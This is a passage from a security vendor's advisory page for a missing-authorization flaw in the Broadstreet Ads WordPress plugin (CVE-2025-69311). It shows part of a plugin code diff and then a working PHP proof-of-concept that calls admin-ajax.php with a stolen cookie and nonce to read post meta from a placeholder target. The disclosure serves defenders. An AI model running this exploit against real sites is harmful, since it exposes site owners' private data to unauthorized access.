+                        }
+                    }
+                    /* It's magic, :snort: :snort:
+                    - Mr. Bean: https://www.youtube.com/watch?v=x0yQg8kHVcI */
+                    $content = implode("nn", $pieces);
+                }
+
+            }
+
+            if ($above_content) {
+                $content = Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->above_content) . $content;
+            }
+
+            if ($below_content) {
+                $content = $content . Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->below_content);
+            }
+        }
+
+        $content = $this->getTrackerContent($content);
+
+        return $content;
+    }
+
+    public function addAdsBeforeComments($template) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (is_single()) {
+            if (property_exists($placement_settings, 'before_comments') && $placement_settings->before_comments) {
+                echo Broadstreet_Utility::getMaxWidthWrap($placement_settings, Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->before_comments));
+            }
+        }
+
+        return $template;
+    }
+
+    public function addAdsLoopEnd() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (is_archive() && in_the_loop()) {
+            if (property_exists($placement_settings, 'inbetween_archive') && $placement_settings->inbetween_archive) {
+                echo Broadstreet_Utility::getMaxWidthWrap($placement_settings, Broadstreet_Utility::getWrappedZoneCode($placement_settings, $placement_settings->inbetween_archive));
+            }
+        }
+    }
+
+    /**
+     * Handler used for creating the business category taxonomy
+     */
+    public function addBusinessTaxonomy() {
+        # Add new "Locations" taxonomy to Posts
+        register_taxonomy(self::BIZ_TAXONOMY, self::BIZ_POST_TYPE, array(
+            # Hierarchical taxonomy (like categories)
+            'hierarchical' => true,
+            # This array of options controls the labels displayed in the WordPress Admin UI
+            'labels' => array(
+                'name' => _x( 'Business Categories', 'taxonomy general name' ),
+                'singular_name' => _x( 'Business Category', 'taxonomy singular name' ),
+                'search_items' =>  __( 'Search Businesses by Category' ),
+                'all_items' => __( 'All Business Categories' ),
+                'parent_item' => __( 'Parent Category' ),
+                'parent_item_colon' => __( 'Parent Category:' ),
+                'edit_item' => __( 'Edit Business Category' ),
+                'update_item' => __( 'Update Business Category' ),
+                'add_new_item' => __( 'Add New Business Category' ),
+                'new_item_name' => __( 'New Business Category Type' ),
+                'menu_name' => __( 'Categories' ),
+            ),
+            # Control the slugs used for this taxonomy
+            'rewrite' => array(
+                'slug' => 'business-categories', // This controls the base slug that will display before each term
+                'with_front' => false, // Don't display the category base before "/locations/"
+                'hierarchical' => true // This will allow URL's like "/locations/boston/cambridge/"
+            ),
+        ));
+    }
+
+    /**
+     * Callback for adding an extra broadstreet-friendly image size
+     * @param array $sizes
+     * @return array
+     */
+    public function addImageSizes($sizes)
+    {
+        $sizes['bs-biz-size'] = __('Broadstreet Business');
+        return $sizes;
+    }
+
+    /**
+     * Handler for adding the Broadstreet business meta data boxes on the post
+     * create/edit page
+     */
+    public function addMetaBoxes()
+    {
+        add_meta_box(
+            'broadstreet_sectionid',
+            __( 'Broadstreet Zone Info', 'broadstreet_textdomain' ),
+            array($this, 'broadstreetInfoBox'),
+            'post'
+        );
+
+        add_meta_box(
+            'broadstreet_sectionid',
+            __( 'Broadstreet Zone Info', 'broadstreet_textdomain'),
+            array($this, 'broadstreetInfoBox'),
+            'page'
+        );
+
+        $screens = get_post_types();
+        if (Broadstreet_Utility::getOption(self::KEY_API_KEY)) {
+            foreach ( $screens as $screen ) {
+                add_meta_box(
+                    'broadstreet_sposnor_sectionid',
+                    __( '<span class="dashicons dashicons-performance"></span> Sponsored Content', 'broadstreet_textdomain'),
+                    array($this, 'broadstreetSponsoredBox'),
+                    $screen,
+                    'side',
+                    'high'
+                );
+            }
+        }
+
+        foreach ( $screens as $screen ) {
+            add_meta_box(
+                'broadstreet_visibility_sectionid',
+                __( '<span class="dashicons dashicons-format-image"></span> Broadstreet Options', 'broadstreet_textdomain'),
+                array($this, 'broadstreetAdVisibilityBox'),
+                $screen,
+                'side'
+            );
+        }
+
+        if(Broadstreet_Utility::isBusinessEnabled())
+        {
+            add_meta_box(
+                'broadstreet_sectionid',
+                __( 'Business Details', 'broadstreet_textdomain'),
+                array($this, 'broadstreetBusinessBox'),
+                self::BIZ_POST_TYPE,
+                'normal'
+            );
+        }
+    }
+
+    public function addPostStyles()
+    {
+        if(get_post_type() == self::BIZ_POST_TYPE && !is_admin())
+        {
+            wp_enqueue_style ('Broadstreet-styles-listings', Broadstreet_Utility::getCSSBaseURL() . 'listings.css?v=' . BROADSTREET_VERSION);
+        }
+    }
+
+    // Update CSS within in Admin
+    function adminStyles() {
+        wp_enqueue_style('broadstreet-admin-styles', Broadstreet_Utility::getCSSBaseURL() . 'admin.css');
+    }
+
+    /**
+     * Add powered-by notice
+     */
+    public function addPoweredBy()
+    {
+        if (self::$_disableAds || Broadstreet_Utility::isAMPEndpoint()) {
+            return;
+        }
+
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (!property_exists($placement_settings, 'load_in_head')
+            || !$placement_settings->load_in_head) {
+            $code = Broadstreet_Utility::getInitCode();
+            echo "<script data-cfasync='false'>$code</script>";
+        }
+    }
+
+    public function writeInitCode()
+    {
+        $code = '';
+
+        # while we're in the post, capture the disabled status of the ads
+        if (is_singular()) {
+            self::$_disableAds = Broadstreet_Utility::getPostMeta(get_queried_object_id(), 'bs_ads_disabled') == '1';
+        }
+
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'use_old_tags') && $placement_settings->use_old_tags) {
+            if (property_exists($placement_settings, 'cdn_whitelabel') && strlen($placement_settings->adserver_whitelabel) > 0) {
+                $code .= "broadstreet.setWhitelabel('//{$placement_settings->adserver_whitelabel}/');";
+            }
+        }
+
+        if (self::$_disableAds) {
+            return;
+        }
+
+        if (property_exists($placement_settings, 'load_in_head')
+            && $placement_settings->load_in_head) {
+            $code .= Broadstreet_Utility::getInitCode();
+        }
+
+        wp_add_inline_script('broadstreet-init', "$code", 'after');
+    }
+
+    /**
+     * Manipulate our cdn tags to include anti-cloudflare stuff, because they think they own
+     * all of the internet's javascript
+     * @param $tag
+     * @param string $handle
+     * @param bool $src
+     * @return mixed
+     */
+    public function finalizeZoneTag($tag, $handle = '', $src = false)
+    {
+        if (is_admin()) {
+            return $tag;
+        }
+
+        // add cloudflare attrs. but seriously, f cloudflare
+        if (strstr($tag, 'broadstreet-init')) {
+            $tag = str_replace('<script', "<script async data-cfasync='false'", $tag);
+        }
+
+        return $tag;
+    }
+
+    public function addCDNScript()
+    {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+
+        $old = false;
+        if (property_exists($placement_settings, 'use_old_tags') && $placement_settings->use_old_tags) {
+            $old = true;
+        }
+
+        # Add Broadstreet ad zone CDN
+        if(!is_admin() && !Broadstreet_Utility::isAMPEndpoint())
+        {
+            $file = 'init-2.min.js?v=' . BROADSTREET_VERSION;
+            if ($old) {
+                $file = 'init.js';
+            }
+
+            $placement_settings = Broadstreet_Utility::getPlacementSettings();
+            $host = 'cdn.broadstreetads.com';
+            if (property_exists($placement_settings, 'cdn_whitelabel') && strlen($placement_settings->cdn_whitelabel) > 0) {
+                $host = $placement_settings->cdn_whitelabel;
+            }
+            # except for cdn whitelabels
+            # if (is_ssl() && property_exists($placement_settings, 'cdn_whitelabel') && $placement_settings->cdn_whitelabel) {
+            #     $host = 'street-production.s3.amazonaws.com';
+            # }
+
+	        # For site-wide analytics.
+	        $adserver_host = 'flux.broadstreet.ai';
+	        if (property_exists($placement_settings, 'adserver_whitelabel') && strlen($placement_settings->adserver_whitelabel) > 0) {
+		        $adserver_host = $placement_settings->adserver_whitelabel;
+	        }
+	        if (property_exists($placement_settings, 'enable_analytics') && strlen($placement_settings->enable_analytics)) {
+		        $network_id = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_NETWORK_ID);
+		        wp_register_script('broadstreet-analytics', "//$adserver_host/emit/$network_id.js", array(), '1.0.0', array('strategy'  => 'async'));
+		        wp_enqueue_script('broadstreet-analytics');
+	        }
+
+            wp_register_script('broadstreet-init', "//$host/$file");
+            $this->writeInitCode();
+            wp_enqueue_script('broadstreet-init');
+        }
+    }
+
+    public function businessIndexSidebar()
+    {
+        if(Broadstreet_Utility::isBusinessEnabled())
+        {
+            register_sidebar(array(
+                'name' => __( 'Business Directory Listing Page' ),
+                'id' => 'businesses-right-sidebar',
+                'description' => __( 'The right rail displayed in the page when you use the [businesses] shortcode.' ),
+                'before_widget' => '<div style="padding-bottom: 10px;" id="%1$s" class="widget %2$s">',
+                'after_widget' => '</div>',
+                'before_title' => '<h3>',
+                'after_title' => '</h3>'
+              ));
+        }
+    }
+
+    /**
+     * A callback executed whenever the user tried to access the Broadstreet admin page
+     */
+    public function adminCallback()
+    {
+        $icon_url = 'none';
+
+        add_menu_page('Broadstreet', 'Broadstreet', 'edit_pages', 'Broadstreet', array($this, 'adminMenuCallback'), $icon_url);
+        add_submenu_page('Broadstreet', 'Settings', 'Account Setup', 'edit_pages', 'Broadstreet', array($this, 'adminMenuCallback'));
+        add_submenu_page('Broadstreet', 'Zone Options', 'Zone Options', 'edit_pages', 'Broadstreet-Zone-Options', array($this, 'adminZonesMenuCallback'));
+        if(Broadstreet_Utility::isBusinessEnabled())
+            add_submenu_page('Broadstreet', 'Business Settings', 'Business Settings', 'edit_pages', 'Broadstreet-Business', array($this, 'adminMenuBusinessCallback'));
+        #add_submenu_page('Broadstreet', 'Advanced', 'Advanced', 'edit_pages', 'Broadstreet-Layout', array($this, 'adminMenuLayoutCallback'));
+        if(Broadstreet_Utility::isBusinessEnabled())
+            add_submenu_page('Broadstreet', 'Help', 'Business Directory Help', 'edit_pages', 'Broadstreet-Help', array($this, 'adminMenuHelpCallback'));
+    }
+
+    /**
+     * Emit a warning that the search index hasn't been built (if it hasn't)
+     */
+    public function adminWarningCallback()
+    {
+        if(in_array($GLOBALS['pagenow'], array('edit.php', 'post.php', 'post-new.php')))
+        {
+            $info = Broadstreet_Utility::getNetwork();
+
+            //if(!$info || !$info->cc_on_file)
+            //    echo '<div class="updated"><p>You're <strong>almost ready</strong> to start using Broadstreet! Check the <a href="admin.php?page=Broadstreet">plugin page</a> to take care of the last steps. When that's done, this message will clear shortly after.</p></div>';
+
+            // Check for video security warning
+            $security_warning = get_transient('broadstreet_video_security_warning_' . get_current_user_id());
+            if ($security_warning) {
+	                echo '<div class="notice notice-error is-dismissible"><p><strong>Broadstreet Security Notice:</strong> Potentially malicious content was detected and removed from the video embed field. JavaScript protocols, event handlers, and script tags are not allowed for security reasons.</p></div>';
+                delete_transient('broadstreet_video_security_warning_' . get_current_user_id());
+            }
+        }
+    }
+
+    /**
+     * A callback executed when the admin page callback is a about to be called.
+     *  Use this for loading stylesheets/css.
+     */
+    public function adminInitCallback()
+    {
+        add_image_size('bs-biz-size', 600, 450, true);
+
+        # Only register javascript and css if the Broadstreet admin page is loading
+        if(isset($_SERVER['QUERY_STRING']) && strstr($_SERVER['QUERY_STRING'], 'Broadstreet'))
+        {
+            wp_enqueue_style ('Broadstreet-styles',  Broadstreet_Utility::getCSSBaseURL() . 'broadstreet.css?v='. BROADSTREET_VERSION);
+            wp_enqueue_script('Broadstreet-main'  ,  Broadstreet_Utility::getJSBaseURL().'broadstreet.js?v='. BROADSTREET_VERSION);
+            wp_enqueue_script('angular-js', Broadstreet_Utility::getJSBaseURL().'angular.min.js?v='. BROADSTREET_VERSION);
+            wp_enqueue_script('isteven-multi-js', Broadstreet_Utility::getJSBaseURL().'isteven-multi-select.js');
+            wp_enqueue_style ('isteven-multi-css',  Broadstreet_Utility::getCSSBaseURL() . 'isteven-multi-select.css');
+
+            // Pass nonce to JavaScript for AJAX security
+            wp_localize_script('Broadstreet-main', 'broadstreetAjax', [
+                'nonce' => wp_create_nonce('broadstreet_ajax_nonce')
+            ]);
+        }
+
+        # Only register on the post editing page
+        if($GLOBALS['pagenow'] == 'post.php' || $GLOBALS['pagenow'] == 'post-new.php')
+        {
+            if (Broadstreet_Utility::isBusinessEnabled()) {
+                wp_enqueue_style ('Broadstreet-vendorcss-time', Broadstreet_Utility::getVendorBaseURL() . 'timepicker/css/timePicker.css');
+                wp_enqueue_script('Broadstreet-main'  ,  Broadstreet_Utility::getJSBaseURL().'broadstreet.js?v='. BROADSTREET_VERSION);
+                wp_enqueue_script('Broadstreet-vendorjs-time'  ,  Broadstreet_Utility::getVendorBaseURL().'timepicker/js/jquery.timePicker.min.js');
+
+                // Pass nonce to JavaScript for AJAX security
+                wp_localize_script('Broadstreet-main', 'broadstreetAjax', [
+                    'nonce' => wp_create_nonce('broadstreet_ajax_nonce')
+                ]);
+            }
+        }
+
+        # Include thickbox on widgets page
+        if($GLOBALS['pagenow'] == 'widgets.php'
+                || (isset($_SERVER['QUERY_STRING']) && strstr($_SERVER['QUERY_STRING'], 'Broadstreet-Business')))
+        {
+            wp_enqueue_script('thickbox');
+            wp_enqueue_style( 'thickbox' );
+        }
+    }
+
+    /**
+     * The callback that is executed when the user is loading the admin page.
+     *  Basically, output the page content for the admin page. The function
+     *  acts just like a controller method for and MVC app. That is, it loads
+     *  a view.
+     */
+    public function adminMenuCallback()
+    {
+        Broadstreet_Log::add('debug', "Admin page callback executed");
+        Broadstreet_Utility::sendInstallReportIfNew();
+
+        $data = array();
+
+        $data['service_tag']        = Broadstreet_Utility::getServiceTag();
+        $data['api_key']            = Broadstreet_Utility::getOption(self::KEY_API_KEY);
+        $data['business_enabled']   = Broadstreet_Utility::getOption(self::KEY_BIZ_ENABLED);
+        $data['network_id']         = Broadstreet_Utility::getOption(self::KEY_NETWORK_ID);
+        $data['errors']             = array();
+        $data['networks']           = array();
+        $data['key_valid']          = false;
+        $data['has_cc']             = false;
+
+        if(get_page_by_path('businesses'))
+        {
+            $data['errors'][] = 'You have a page named "businesses", which will interfere with the business directory if you plan to use it. You must delete that page.';
+        }
+
+        if(get_category_by_slug('businesses'))
+        {
+            $data['errors'][] = 'You have a category named "businesses", which will interfere with the business directory if you plan to use it. You must delete that category.';
+        }
+
+        if(!$data['api_key'])
+        {
+            $data['errors'][] = '<strong>You dont have an API key set yet!</strong><ol><li>If you already have a Broadstreet account, <a href="http://my.broadstreetads.com/access-token">get your key here</a>.</li><li>If you don't have an account with us, <a target="blank" id="one-click-signup" href="#">then use our one-click signup</a>.</li></ol>';
+        }
+        else
+        {
+            $api = $this->getBroadstreetClient();
+
+            try
+            {
+                $data['networks']  = $api->getNetworks();
+                $data['key_valid'] = true;
+                $data['network']   = Broadstreet_Utility::getNetwork(true);
+            }
+            catch(Exception $ex)
+            {
+                $data['networks'] = array();
+                $data['key_valid'] = false;
+            }
+        }
+
+        Broadstreet_View::load('admin/admin', $data);
+    }
+
+    /**
+     * The callback that is executed when the user is loading the admin page.
+     *  Basically, output the page content for the admin page. The function
+     *  acts just like a controller method for and MVC app. That is, it loads
+     *  a view.
+     */
+    public function adminZonesMenuCallback()
+    {
+        Broadstreet_Log::add('debug', "Admin page callback executed");
+        $data = array();
+
+        $data['service_tag']        = Broadstreet_Utility::getServiceTag();
+        $data['api_key']            = Broadstreet_Utility::getOption(self::KEY_API_KEY);
+        $data['network_id']         = Broadstreet_Utility::getOption(self::KEY_NETWORK_ID);
+        $data['errors']             = array();
+        $data['networks']           = array();
+        $data['zones']              = array();
+        $data['placements']              = array();
+        $data['key_valid']          = false;
+        $data['categories']         = get_categories(array('hide_empty' => false));
+
+        if(!$data['api_key'])
+        {
+            $data['errors'][] = '<strong>You dont have an API key set yet!</strong><ol><li>If you already have a Broadstreet account, <a href="http://my.broadstreetads.com/access-token">get your key here</a>.</li><li>If you don't have an account with us, <a target="blank" id="one-click-signup" href="#">then use our one-click signup</a>.</li></ol>';
+        }
+        else
+        {
+            $api = $this->getBroadstreetClient();
+
+            try
+            {
+                Broadstreet_Utility::refreshZoneCache();
+                $data['key_valid'] = true;
+                $data['zones'] = Broadstreet_Utility::getZoneCache();
+                $data['placements'] = Broadstreet_Utility::getPlacementSettings();
+            }
+            catch(Exception $ex)
+            {
+                $data['networks'] = array();
+                $data['key_valid'] = false;
+            }
+        }
+
+        Broadstreet_View::load('admin/zones', $data);
+    }
+
+    public function adminMenuBusinessCallback() {
+
+        if (isset($_POST['featured_business_image'])) {
+            $featured_image = Broadstreet_Utility::featuredBusinessImage($_POST['featured_business_image']);
+        } else {
+            $featured_image = Broadstreet_Utility::featuredBusinessImage();
+        }
+
+        Broadstreet_View::load('admin/businesses', array('featured_image' => $featured_image));
+    }
+
+    public function adminMenuHelpCallback()
+    {
+        Broadstreet_View::load('admin/help');
+    }
+
+    public function adminMenuLayoutCallback()
+    {
+        Broadstreet_View::load('admin/layout');
+    }
+
+    /**
+     * Handler for the broadstreet info box below a post or page
+     * @param type $post
+     */
+    public function broadstreetInfoBox($post)
+    {
+        // Use nonce for verification
+        wp_nonce_field(plugin_basename(__FILE__), 'broadstreetnoncename');
+
+        $zone_data = Broadstreet_Utility::getZoneCache();
+
+        Broadstreet_View::load('admin/infoBox', array('zones' => $zone_data));
+    }
+
+    /**
+     * Handler for the broadstreet info box below a post or page
+     * @param type $post
+     */
+    public function broadstreetBusinessBox($post)
+    {
+        // Use nonce for verification
+        wp_nonce_field(plugin_basename(__FILE__), 'broadstreetnoncename');
+
+        $meta = Broadstreet_Utility::getAllPostMeta($post->ID, self::$_businessDefaults);
+
+        $network_id       = Broadstreet_Utility::getOption(self::KEY_NETWORK_ID);
+        $advertiser_id    = Broadstreet_Utility::getPostMeta($post->ID, 'bs_advertiser_id');
+        $advertisement_id = Broadstreet_Utility::getPostMeta($post->ID, 'bs_advertisement_id');
+        $network_info     = Broadstreet_Utility::getNetwork();
+        $show_offers      = (Broadstreet_Utility::getOption(self::KEY_SHOW_OFFERS) == 'true');
+
+        $api = $this->getBroadstreetClient();
+
+        if($network_id && $advertiser_id && $advertisement_id)
+        {
+            $meta['preferred_hash_tag'] = $api->getAdvertisement($network_id, $advertiser_id, $advertisement_id)
+                                    ->preferred_hash_tag;
+        }
+
+        try
+        {
+            $advertisers = $api->getAdvertisers($network_id);
+        }
+        catch(Exception $ex)
+        {
+            $advertisers = array();
+        }
+
+        Broadstreet_View::load('admin/businessMetaBox', array(
+            'meta'        => $meta,
+            'advertisers' => $advertisers,
+            'network'     => $network_info,
+            'show_offers' => $show_offers
+        ));
+    }
+
+    /**
+     * Handler used for attaching post meta data to post query results
+     * @global object $wp_query
+     * @param array $posts
+     * @return array
+     */
+    public function businessQuery($posts)
+    {
+        global $wp_query;
+
+        if(@$wp_query->query_vars['post_type'] == self::BIZ_POST_TYPE
+            || @$wp_query->query_vars['taxonomy'] == self::BIZ_TAXONOMY)
+        {
+            $ids = array();
+            foreach($posts as $post) $ids[] = $post->ID;
+
+            $meta = Broadstreet_Model::getPostMeta($ids, self::$_businessDefaults);
+
+            for($i = 0; $i < count($posts); $i++)
+            {
+                if(isset($meta[$posts[$i]->ID]))
+                {
+                    $posts[$i]->meta = $meta[$posts[$i]->ID];
+                }
+            }
+        }
+
+        return $posts;
+    }
+
+    /**
+     * Handler used for changing the wording of the comment form for business
+     * listings.
+     * @param array $defaults
+     * @return string
+     */
+    public function commentForm($defaults)
+    {
+        $defaults['title_reply'] = 'Leave a Review or Comment';
+        return $defaults;
+    }
+
+    public function createPostTypes()
+    {
+        register_post_type(self::BIZ_POST_TYPE,
+            array (
+                'labels' => array(
+                    'name' => __( 'Businesses'),
+                    'singular_name' => __( 'Business'),
+                    'add_new_item' => __('Add New Business Profile', 'your_text_domain'),
+                    'edit_item' => __('Edit Business', 'your_text_domain'),
+                    'new_item' => __('New Business Profile', 'your_text_domain'),
+                    'all_items' => __('All Businesses', 'your_text_domain'),
+                    'view_item' => __('View This Business', 'your_text_domain'),
+                    'search_items' => __('Search Businesses', 'your_text_domain'),
+                    'not_found' =>  __('No businesses found', 'your_text_domain'),
+                    'not_found_in_trash' => __('No businesses found in Trash', 'your_text_domain'),
+                    'parent_item_colon' => '',
+                    'menu_name' => __('Businesses', 'your_text_domain')
+                ),
+            'description' => 'Businesses for inclusion in the Broadstreet business directory',
+            'public' => true,
+            'has_archive' => true,
+            'menu_position' => 5,
+            'supports' => array('title', 'editor', '

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69311 - Broadstreet Ads <= 1.52.1 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2025-69311
 * Requires: Valid WordPress authentication cookies and a valid nonce from the Broadstreet plugin
 * Target: WordPress site with Broadstreet plugin <= 1.52.1
 */

$target_url = 'https://vulnerable-site.com';
$cookie = 'wordpress_logged_in_abc=...'; // Valid authentication cookie
$nonce = 'abc123def456'; // Valid broadstreet_ajax_nonce from plugin admin
$post_id = 1; // Target post ID

$ch = curl_init();

// Construct the AJAX request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$params = [
    'action' => 'get_sponsored_meta',
    'nonce' => $nonce
];

$url = $ajax_url . '?' . http_build_query($params) . '&post_id=' . $post_id;

curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE => $cookie,
    CURLOPT_HTTPGET => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    $data = json_decode($response, true);
    if (isset($data['success']) && $data['success'] === true) {
        echo "[+] Successfully retrieved post meta for post ID: $post_idn";
        echo "[+] Meta data: " . print_r($data['meta'], true) . "n";
    } else {
        echo "[-] Request failed. Response: $responsen";
    }
} else {
    echo "[-] HTTP Error: $http_coden";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School